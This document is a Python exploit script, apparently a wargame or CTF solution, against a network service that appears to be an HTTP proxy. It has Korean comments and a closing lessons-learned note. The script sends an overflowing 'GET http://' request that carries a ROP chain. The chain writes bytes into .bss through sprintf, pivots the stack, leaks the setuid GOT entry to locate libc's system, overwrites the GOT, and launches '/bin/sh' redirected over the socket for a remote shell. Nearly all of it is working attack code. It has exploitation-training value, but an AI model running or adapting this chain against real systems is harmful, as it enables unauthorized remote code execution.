from Sanguine import *
bss=0x0804ad15 #bss+15
_404_str=0x08049ac2
_not_found_str=0x08049ab8
fd = 4
read_plt=0x0804893c
write_plt=0x080488fc
sprintf_plt=0x0804887c
exit_plt=0x08048aac
#strcmp를 leak하면 __strcmp_sse4_2의 주소가 저장되기 때문에 setuid로 해야 offset이 맞아 떨어진다.
setuid_plt=0x080489ac
setuid_got=0x0804acb4
setuid_offset=0x000bb6c0
system_offset=0x00041260
pppr=0x080499a6
ppr=pppr+1
pop_ebp_ret=0x08048b43
lr=0x804886a
shell_cmd="/bin/sh 0<&"+str(fd)+" 1>&"+str(fd)+"\x00"
pre_dummy=len("<html><title>404 Not found</title><body><h1>Not found</h1>\r\n<p>Could not find DNS entry for ")
buf_to_ret_offset=0x45c
# p(read_plt) + p(pppr) + p(fd) + p(bss+0x14) + p(0x300)
# 3c890408 a6990408 04000000 3dad0408 00030000
_3c_byte=0x080484c0
_89_byte=0x0804990f
_08_byte=0x080492fc
_a6_byte=0x080491db
_99_byte=0x0804ab9d
_29_byte=0x08048370
_ad_byte=0x080482f0
_04_byte=0x08048b9d
_03_byte=0x080481c0
print "[+] exploit start"
print "[+] stage 1"
s=makeCon("192.168.236.162",33227)
payload = ""
payload += "a" * (buf_to_ret_offset - pre_dummy)
payload += p(pppr)
payload += "a" * 4
payload += p(_404_str)
payload += p(_not_found_str)
#write read operate in bss
payload += p(sprintf_plt) + p(ppr) + p(bss) + p(_3c_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+1) + p(_89_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+2) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+3) + p(_08_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+4) + p(_a6_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+5) + p(_99_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+6) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+7) + p(_08_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+10) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+9) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+8) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+12) + p(_29_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+13) + p(_ad_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+14) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+15) + p(_08_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+17) + p(_03_byte)
payload += p(pop_ebp_ret) + p(bss-4) #fake ebp - esp move bss
payload += p(lr)
#bss 에다가 cmd를 줫더니 에러가 난다.
#do_system에서 bss영역을 덮어씌워서 에러..
#그러므로 현재 system이 실행될때의 esp보다 더 높은 주소에 cmd를 위치시켜야 한다.
payload_bss = ""
payload_bss += p(write_plt) + p(pppr) + p(fd) + p(setuid_got) + p(4)
payload_bss += p(read_plt) + p(pppr) + p(fd) + p(setuid_got) + p(4)
payload_bss += p(read_plt) + p(pppr) + p(fd) + p(bss+0x100) + p(len(shell_cmd))
payload_bss += p(setuid_plt) + p(exit_plt) + p(bss+0x100)
print "[+] send payload"
s.send("GET http://"+payload+" aaaaaaa")
sleep(1)
s.send("\r\n")
sleep(1)
print "[+] send bss payload"
s.send(payload_bss)
sleep(1)
print "[+] system offset calc"
setuid_libc=up(s.recv(4))
baseaddr=setuid_libc-setuid_offset
system_libc=baseaddr+system_offset
print "[+] gotoverwrite system@libc to setuid@got"
s.send(p(system_libc))
sleep(1)
print "[+] write command for system argv"
s.send(shell_cmd)
print "[+] get shell"
makeShell(s)
s.close()
느낀점 : bss영역에 payload를 구성할때, 부르는 함수에서 사용하는 스택프레임도 고려해야한다.